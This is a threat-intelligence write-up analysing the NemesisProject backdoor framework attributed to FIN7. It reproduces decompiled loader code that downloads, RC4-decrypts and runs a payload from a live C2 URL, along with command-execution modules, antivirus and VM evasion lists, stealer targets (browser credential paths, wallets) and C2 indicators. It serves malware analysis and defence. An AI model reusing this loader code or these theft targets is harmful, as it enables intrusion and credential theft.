NemesisProject

By Jason Reaves

Published: 2023-07-31 · Archived: 2026-04-05 18:08:51 UTC

By: Jason Reaves, Jonathan McCay and Joshua Platt

NemesisProject has been seen being utilized at least partially by FIN7[1] recently where it was seen being delivered through Tirion (aka Lizar, DiceLoader). The project itself comes as a backdoor framework with plugin components:

- BotLoaderStarter
- Bot Module
- CMD Module
- Powershell Module
- PrintScreen Module
- Stealer Module

It appears to be in active development, most of the pieces CI has recovered or looked at have been written in .NET. The components have functionality to directly load and execute managed assembly code.

Technical Overview

As previously mentioned, this framework has a number of components, we will go over each component below.

BotLoaderStarter

The BotLoaderStarter is, as the name suggests, a loader designed to download and run a file; it comes with onboard settings or a configuration for the Loader:

```
namespace Bot.Settings
{
 public static class Setup
 {
  public static string WebChannelMainUrl1 = "http://de-signui.]com/api/support";
  public static string WebChannelMainUrl2 = "";
  public static string WebChannelMainUrl3 = "";
  public static string OneDriveChannelLogin = "";
  public static string OneDriveChannelPassword = "";
  public static string OneDriveChannelUrlPath = "";
  public static string AzureConnectionString = "";
```

```
  public static string IsEnableCryptorBot = "1";
  public static string SeparateWord = "OEYQBEDEOUNN";
 }
}
```

The main functionality as previously mentioned is to download and run a file:

```
  private static string botName = "m_BOT.dll";
  public static void Run()
  {
   byte[] array = Main.DownloadBot(Setup.WebChannelMainUrl1);
   if (array == null && !string.IsNullOrEmpty(Setup.WebChannelMainUrl2))
   {
    array = Main.DownloadBot(Setup.WebChannelMainUrl2);
   }
   if (array == null && !string.IsNullOrEmpty(Setup.WebChannelMainUrl3))
   {
    array = Main.DownloadBot(Setup.WebChannelMainUrl3);
   }
   Main.CheckAndStartBot(array);
  }
```

In this case the file to be downloaded is called ‘m_BOT.dll’ and will be downloaded over HTTP, you may have noticed that there were two other methods of communications available in the config data which was Azure and OneDrive, but they are not used by this loader.

The downloaded file is encrypted using RC4 but the key and start of the encrypted data is actually inside the downloaded binary:

```
private static void CheckAndStartBot(byte[] data)
  {
   if (data == null)
   {
    return;
   }
   if (Setup.IsEnableCryptorBot == "1")
   {
    string separateWord = Setup.SeparateWord;
    byte[] bytes = Encoding.UTF8.GetBytes(separateWord);
    List<int> list = Main.IndexOfSequence(data, bytes, 0);
    byte[] arg_90_0 = data.Skip(list[0] + bytes.Length).Take(list[1] - list[0] - bytes.Length).ToArr
    byte[] data2 = data.Skip(list[1] + bytes.Length).Take(data.Length - list[1] - bytes.Length).ToAr
    Main.StartBot(Main.RC4(arg_90_0, data2));
    return;
   }
```

```
 Main.StartBot(data);
}
private static void StartBot(byte[] bot)
{
 new Thread(delegate
 {
  Type type = Assembly.Load(bot).GetType("Bot.Main");
  type.InvokeMember("Run", BindingFlags.InvokeMethod, null, type, new object[0]);
 }).Start();
}
```

The loader uses the SeparateWord string from the settings to find the RC4 key and the start of the encrypted data. Python example:

```
>>> t2 = data[6144:]
>>> t2[:100]
b'LCYEQDQMFUBTJBDXERQTLCYEQDQMFUBTU\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\x05\xc6J\x
>>> len(sep)
12
>>> t2 = t2[12:]
>>> t2[:100]
b'JBDXERQTLCYEQDQMFUBTU\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\x05\xc6J\x97F\xe4\xeb\
>>> t2.find(sep)
8
>>> d = t2[:8]
>>> t2 = t2[8+12:]
>>> t2[:100]
b'U\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\x05\xc6J\x97F\xe4\xeb\x80\xa4\xc4\xcb\n]s\
>>> t2.find(sep)
-1
>>> from Crypto.Cipher import ARC4
>>> rc4 = ARC4.new(d)
>>> ttt = rc4.decrypt(t2)
>>> ttt[:100]
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x0
>>> sep
b'LCYEQDQMFUBT'
>>> d
b'JBDXERQT'
```

Bot

The bot piece of this framework contains a large amount of encoded strings, even in the additionally included libraries. The encoding is just a base64 decode followed by a GZIP decompress:

```
def decode(a):
    t = base64.b64decode(a)
    l = struct.unpack_from('<I', t)[0]
    if l != 0:
        return(zlib.decompress(t[4:],30))
    return(t[4:])
```

Using the above function, we can quickly enumerate all the decompiled .NET code to enumerate all the encoded strings, a quick list of all the decoded strings from the bot code only:

```
x
Azure
RUNDLL
.txt
.dll
POST
_cmd
SUCCESS
"
Run
.jpg
_run
Upload----
file
_
CMD
PRINTSCREEN
/
SHELLCODE
[^A-Za-z0-9]
x86
documents
POWERSHELL
_scr
/PostFile
botshare
Web {0}
http://de-signui.com/api/support
x64
_ping
?file=
_ps
_msg
OneDrive
Module.Main
KILL
```

```
b_
bdir
m_
LCYEQDQMFUBT
application/json
_kill
_resp
STEALER
_stealer
application/octet-stream
PING
_pong
NONE
ERROR
_inject
1
PONG
```

C2 traffic can be over Web, OneDrive or Azure:

```
if (!string.IsNullOrEmpty(Setup.WebChannelMainUrl1))
{
 this.engineWeb1 = WebChannelWrapper.Engine.GetEngine(BotEngine.botId, Setup.WebChannelMainUrl1, r
}
if (!string.IsNullOrEmpty(Setup.WebChannelMainUrl2))
{
 this.engineWeb2 = WebChannelWrapper.Engine.GetEngine(BotEngine.botId, Setup.WebChannelMainUrl2, r
}
if (!string.IsNullOrEmpty(Setup.WebChannelMainUrl3))
{
 this.engineWeb3 = WebChannelWrapper.Engine.GetEngine(BotEngine.botId, Setup.WebChannelMainUrl3, r
}
if (!string.IsNullOrEmpty(Setup.OneDriveChannelLogin) && !string.IsNullOrEmpty(Setup.OneDriveChan
{
 this.engineOneDrive = new OneDriveWrapper.Engine(BotEngine.botId, Setup.OneDriveChannelLogin, Se
}
if (!string.IsNullOrEmpty(Setup.AzureConnectionString))
{
 this.engineAzure = new AzureWrapper.Engine(BotEngine.botId, Setup.AzureConnectionString, num++);
}
```

The OneDrive and Azure mode operate in a similar manner, they create a file on either an Azure tenant or in a SharePoint folder. The filename will be based on bot data and then gets checked periodically waiting for a command or task to run.

Command functionality:

- HeartBeat
- TimerTick
- PowerShellScriptRun
- StealerRun
- InjectShellCode
- CmdScriptRun
- RunModuleWithBodyAndReturnMessage
- RunModuleWithBody
- PrintScreen
- KILL
- RunICE
- Ping
- Pong
- RunDLL

Azure config template:

```
private string connectionString;
private string shareName = "botshare";
private string dirName = "bdir";
private string botId;
private string templateResponse;
private string templatePowerShell;
private string templateCmd;
private string templateStealer;
private string templatePrintScreen;
private string templatePrintScreenFile;
private string templatePing;
private string templateRun;
private string templateInjectShellCode;
private string templatePong;
private string templateKill;
private string templateMessage;
private string templateResponseEnd = '_resp';
private string templatePowerShellEnd = '_ps';
private string templateCmdEnd = '_cmd';
private string templateStealerEnd = '_stealer';
private string templatePrintScreenEnd = '_scr';
private string templatePingEnd = '_ping';
private string templatePongEnd = '_pong';
private string templateRunEnd = '_run';
private string templateInjectShellCodeEnd = inject';
private string templateKillEnd = '_kill';
private string templateMessageEnd = '_msg';
private string templateStartBot = 'b_';
```

```
private string templateStartModule = 'm_';
public bool IsActive
```

PingPong sends off some bot info when it performs a checkin:

```
return Json.Serialize(new PingPong(botId)
{
 State = state,
 Type = type,
 FileName = fileName,
 OsName = SystemHelper.GetOSInfo(),
 Ip = SystemHelper.GetLocalIPAddress(),
 AvDetect = SystemHelper.CheckAV(),
 Message = message
}, null);
```

The CheckAV function looks for a very large amount of AV artifacts:

```
ALYac
aylaunch.exe
ayupdate2.exe
AYRTSrv.exe
AYAgent.exe
AVG
AVGSvc.exe
AVGUI.exe
avgwdsvc.exe
avg.exe
avgaurd.exe
avgemc.exe
avgrsx.exe
avgserv.exe
avgw.exe
Acronis
arsm.exe
acronis_license_service.exe
Ad-Aware
AdAwareService.exe
Ad-Aware.exe
AdAware.exe
AhnLab-V3
patray.exe
V3Svc.exe
Arcabit
arcavir.exe
arcadc.exe
```

```
ArcaVirMaster.exe
ArcaMainSV.exe
ArcaTasksService.exe
Avast
ashDisp.exe
AvastUI.exe
AvastSvc.exe
AvastBrowser.exe
AfwServ.exe
Avira AntiVirus
avcenter.exe
avguard.exe
avgnt.exe
sched.exe
BaiduSdSvc.exe
BaiduSdTray.exe
BaiduSd.exe
bddownloader.exe
baiduansvx.exe
BitDefender
Bdagent.exe
BitDefenderCom.exe
vsserv.exe
bdredline.exe
bdservicehost.exe
Bkav
BKavService.exe
Bka.exe
BkavUtil.exe
BLuPro.exe
CAT-QuickHeal
QUHLPSVC.exe
onlinent.exe
sapissvc.exe
scanwscs.exe
CMC
CMCTrayIcon.exe
ClamAV
freshclam.exe
Comodo
cpf.exe
cavwp.exe
ccavsrv.exe
cmdvirth.exe
CrowdStrike Falcon
csfalconservice.exe
CSFalconContainer.exe
```

```
Cybereason
CybereasonRansomFree.exe
CybereasonRansomFreeServiceHost.exe
CybereasonAV.exe
Cylance
CylanceSvc.exe
Cyren
vsedsps.exe
vseamps.exe
vseqrts.exe
DrWeb
drwebcom.exe
spidernt.exe
drwebscd.exe
drweb32w.exe
dwengine.exes
ESET-NOD32
egui.exe
ecls.exe
ekrn.exe
eguiProxy.exe
Emsisoft
a2cmd.exe
a2guard.exe
Endgame
endgame.exe
F-Prot
F-PROT.exe
FProtTray.exe
FPAVServer.exe
f-stopw.exe
f-prot95.exe
f-agnt95.exe
F-Secure
f-secure.exe
fssm32.exe
Fsorsp64.exe
fsavgui.exe
fameh32.exe
fch32.exe
fih32.exe
fnrb32.exe
fsav32.exe
fsma32.exe
fsmb32.exe
FireEye
xagtnotif.exe
```

```
xagt.exe
Fortinet
FortiClient.exe
FortiTray.exe
FortiScand.exe
GData
AVK.exe
avkcl.exe
avkpop.exe
avkservice.exe
Ikarus
guardxservice.exe
guardxkickoff.exe
KVFW.exe
KVsrvXP.exe
KVMonXP.exe
KVwsc.exe
K7AntiVirus
K7TSecurity.exe
K7TSMain.Exe
K7TSUpdT.exe
Kaspersky
avp.exe
avpcc.exe
avpm.exe
kavpf.exe
Kingsoft
kxetray.exe
ksafe.exe
KSWebShield.exe
kpfwtray.exe
KWatch.exe
KSafeSvc.exe
KSafeTray.exe
Max Secure Software
SDSystemTray.exe
MaxRCSystemTray.exe
RCSystemTray.exe
Malwarebytes
MalwarebytesPortable.exe
Mbae.exe
MBAMIService.exe
mbamdor.exe
McAfee
Mcshield.exe
Tbmon.exe
Frameworkservice.exe
```

```
firesvc.exe
firetray.exe
hipsvc.exe
mfevtps.exe
mcafeefire.exe
shstat.exe
vstskmgr.exe
engineserver.exe
alogserv.exe
avconsol.exe
cmgrdian.exe
cpd.exe
mcmnhdlr.exe
mcvsshld.exe
mcvsrte.exe
mghtml.exe
mpfservice.exe
mpfagent.exe
mpftray.exe
vshwin32.exe
vsstat.exe
guarddog.exe
Microsoft security essentials
MsMpEng.exe
mssecess.exe
emet_service.exe
drwatson.exe
NANO-Antivirus
nanoav.exe
nanoav64.exe
nanoreport.exe
nanoreportc.exe
nanoreportc64.exe
nanorst.exe
nanosvc.exe
a-squared free
a2guard.exe
a2free.exe
a2service.exe
Palo Alto Networks
PanInstaller.exe
Panda Security
remupd.exe
apvxdwin.exe
pavproxy.exe
pavsched.exe
Qihoo-360
```

```
360sd.exe
360tray.exe
ZhuDongFangYu.exe
360rp.exe
360safe.exe
360safebox.exe
QHActiveDefense.exe
Rising
RavMonD.exe
rfwmain.exe
RsMgrSvc.exe
SUPERAntiSpyware
superantispyware.exe
sascore.exe
SAdBlock.exe
sabsvc.exe
SecureAge APEX
UniversalAVService.exe
EverythingServer.exe
clamd.exe
Sophos AV
SavProgress.exe
SophosUI.exe
SophosFS.exe
SophosHealth.exe
SophosSafestore64.exe
SophosCleanM.exe
icmon.exe
Symantec
ccSetMgr.exe
ccapp.exe
vptray.exe
ccpxysvc.exe
cfgwiz.exe
smc.exe
symproxysvc.exe
vpc32.exe
lsetup.exe
luall.exe
lucomserver.exe
sbserv.exe
Tencent
QQPCRTP.exe
QQPCTray.exe
QQPCMgr.exe
TotalDefense
AMRT.exe
```

```
SWatcherSrv.exe
Prd.ManagementConsole.exe
Trapmine
TrapmineEnterpriseService.exe
TrapmineEnterpriseConfig.exe
```

The list of available modules that the bot can download (can be either 32 or 64 bit):

- PRINTSCREEN
- CMD
- STEALER
- POWERSHELL

Nemesis Stealer

The stealer component has been previously reported on[1], it is interesting that the stealer comes with its own configuration onboard which would allow it to be used independently. In this case the C2 is the same as the previous bot piece.

In terms of functionality the stealer did not include C2 functionality for Azure or OneDrive but instead operated over HTTP, it also checks the country of the system it is running on to see if it is one of these countries:

```
Armenia
Azerbaijan
Belarus
Kazakhstan
Kyrgyzstan
Moldova
Uzbekistan
Ukraine
Russia
```

Has built-in checks for the following as well:

- RDP available
- SandBoxie
- Virtual check

For the virtual machine check it will perform WMI queries on Win32_ComputerSystem to check for the following strings:

```
virtual
vmbox
vmware
virtualbox
box
```

```
thinapp
VMXh
innotek gmbh
tpvcgateway
tpautoconnsvc
vbox
kvm
red hat
```

The stealer will also attempt to turn off the following registry values:

- PromptOnSecureDesktop
- ConsentPromptBehaviorAdmin

Browsers are targeted for harvesting logins, bookmarks, cookies, credit cards, autofills and history data. The browsers targeted can be split between Chromium based and Gecko based.

Get Jason Reaves's stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Chromium based browsers:

- Google Chrome
- Opera Stable
- Opera
- Opera Neon
- Citrio
- CoolNovo
- Avant Webkit
- Iridium
- Yandex
- Orbitum
- Kinza
- Brave
- Amigo
- Torch
- Comodo Dragon
- Kometa
- Vivaldi
- Nichrome Rambler
- Epic Privacy
- CocCoc

- 360Browser
- Sputnik
- Uran
- CentBrowser
- 7Star
- Elements
- Superbird
- Chedot
- Suhba
- Mustang
- Edge

Paths:

```
"\\Chromium\\User Data\\",
"\\Google\\Chrome\\User Data\\",
"\\Google(x86)\\Chrome\\User Data\\",
"\\Opera Software\\",
"\\MapleStudio\\ChromePlus\\User Data\\",
"\\Iridium\\User Data\\",
"\\7Star\\7Star\\User Data\\",
"\\CentBrowser\\User Data\\",
"\\Chedot\\User Data\\",
"\\Vivaldi\\User Data\\",
"\\Kometa\\User Data\\",
"\\Elements Browser\\User Data\\",
"\\Epic Privacy Browser\\User Data\\",
"\\Microsoft\\Edge\\User Data\\",
"\\uCozMedia\\Uran\\User Data\\",
"\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\",
"\\CatalinaGroup\\Citrio\\User Data\\",
"\\Coowon\\Coowon\\User Data\\",
"\\liebao\\User Data\\",
"\\QIP Surf\\User Data\\",
"\\Orbitum\\User Data\\",
"\\Comodo\\Dragon\\User Data\\",
"\\Amigo\\User\\User Data\\",
"\\Torch\\User Data\\",
"\\Yandex\\YandexBrowser\\User Data\\",
"\\Comodo\\User Data\\",
"\\360Browser\\Browser\\User Data\\",
"\\Maxthon3\\User Data\\",
"\\K-Melon\\User Data\\",
"\\Sputnik\\Sputnik\\User Data\\",
"\\Nichrome\\User Data\\",
"\\CocCoc\\Browser\\User Data\\",
```

```
"\\Uran\\User Data\\",
"\\Chromodo\\User Data\\",
"\\Mail.Ru\\Atom\\User Data\\",
"\\BraveSoftware\\Brave-Browser\\User Data\\"
```

Gecko Based browsers:

- Firefox
- Mozilla
- IceDragon
- Comodo_Dragon
- Pale_Moon
- Waterfox
- Thunderbird
- Cyberfox
- NETGATE_BlackHaw

Paths:

```
"\\Mozilla\\Firefox",
"\\Comodo\\IceDragon",
"\\Mozilla\\SeaMonkey",
"\\Moonchild Productions\\Pale Moon",
"\\Waterfox",
"\\K-Meleon",
"\\Thunderbird",
"\\8pecxstudios\\Cyberfox",
"\\NETGATE Technologies\\BlackHaw"
```

Parses credit card numbers:

- Amex Card
- BCGlobal
- Carte Blanche Card
- Diners Club card
- Discover Card
- Insta Payment Card
- JCB Card
- KoreanLocalCard
- Laser Card
- Maestro Card
- Mastercard
- Solo Card
- Switch Card

- Union Pay Card
- Visa Card
- Visa Mastercard
- Express Card

Applications targeted:

- DynDNS
- FileZilla
- FoxMail
- Pidgin
- Telegram
- Discord Tokens
- Steam local config
- Steam profile data
- NordVPN
- OpenVPN
- ProtonVPN

Crypto Wallets:

- Electrum
- Electrum-DASH
- Ethereum
- Exodus
- Atomic
- Jaxx
- Coinomi
- Guarda
- Armory
- Zcash
- Bytecoin

Crypto Extensions:

- MetaMask — nkbihfbeogaeaoehlefnkodbefgpgknn
- TronLink — ibnejdfjmmkpcnlpebklmnkoeoihofec
- Binance — fhbohimaelbohpjbbldcngcnapndodjp

The stealer will also attempt to harvest files from the infected system that match a list of extensions, in this case the following:

- .txt
- .doc
- .cs

- .html
- .htm
- .xml
- .php
- .json
- .rdp
- .ovpn

CMD Module

The CMD module is for executing a shell command via cmd.exe and then returning the result.

```
public static class Main
{
 public static string Run(string cmd)
 {
  Process expr_36 = Process.Start(new ProcessStartInfo("cmd.exe", "/c " + cmd)
  {
   CreateNoWindow = true,
   UseShellExecute = false,
   RedirectStandardError = true,
   RedirectStandardOutput = true
  });
  expr_36.WaitForExit();
  string result = expr_36.StandardOutput.ReadToEnd();
  expr_36.StandardError.ReadToEnd();
  int arg_5A_0 = expr_36.ExitCode;
  expr_36.Close();
  return result;
 }
}
```

POWERSHELL Module

The PowerShell module is similar to the CMD one except that it detonates a PowerShell command:

```
namespace Module
{
 public static class Main
 {
  public static bool Run(string cmd)
  {
   PowerShell.Create().AddScript(cmd).Invoke();
   return true;
  }
```

```
 }
}
```

PRINTSCREEN Module

The printscreen module takes a screenshot and returns it:

```
public static class Main
{
 public static byte[] Run()
 {
  Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)
  Graphics.FromImage(bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size);
  MemoryStream memoryStream = new MemoryStream();
  bitmap.Save(memoryStream, ImageFormat.Jpeg);
  memoryStream.Position = 0L;
  return Main.StreamToByteArray(memoryStream);
 }
```

IOCS

WMI commands

```
SELECT * FROM Win32_ComputerSystem
SELECT * FROM Win32_OperatingSystem
- version
- user
- serialnumber
- computer name
- logical processes
- system direction
SELECT * FROM Win32_Processor
- CPU name
- cpu id
SELECT * FROM Win32_DesktopMonitor
- screen resolution
SELECT * FROM Win32_BIOS
- BIOS version
SELECT * FROM AntiVirusProduct
- installed antivirus
SELECT * FROM FirewallProduct
- installed firewall
SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
- TotalPhysicalMemory
SELECT * FROM Win32_PhysicalMemory
```

```
- capacity
- memorytype
SELECT * FROM Win32_VideoController
- adapterram
```

Files written:

```
Counter.txt
Clip_BoardText.txt
Information.html
Installed_Software_Log.txt
ProcessInfo_Log.txt
ScreenShot.png
UserAgents.txt
Passwords.txt
DynDns_Log.txt
FileZilla_Log.txt
FoxMail_Log.txt
Pidgin_Log.txt
log.txt
VPN/Nord_Log.txt
VPN/ProtonVPN_Log.txt
Steam/SteamID_Log.txt
Discord/Tokens.txt
```

Malware C2:

```
es-megadom.com
194.87.148.85
195.123.245.30
65.108.255.127
213.166.71.155
23.227.193.141
plus-lema.com
deveparty.com
de-signui.com
91.107.143.20
helloworld2.watela2425.workers.dev
```

References

1: https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-backdoor/
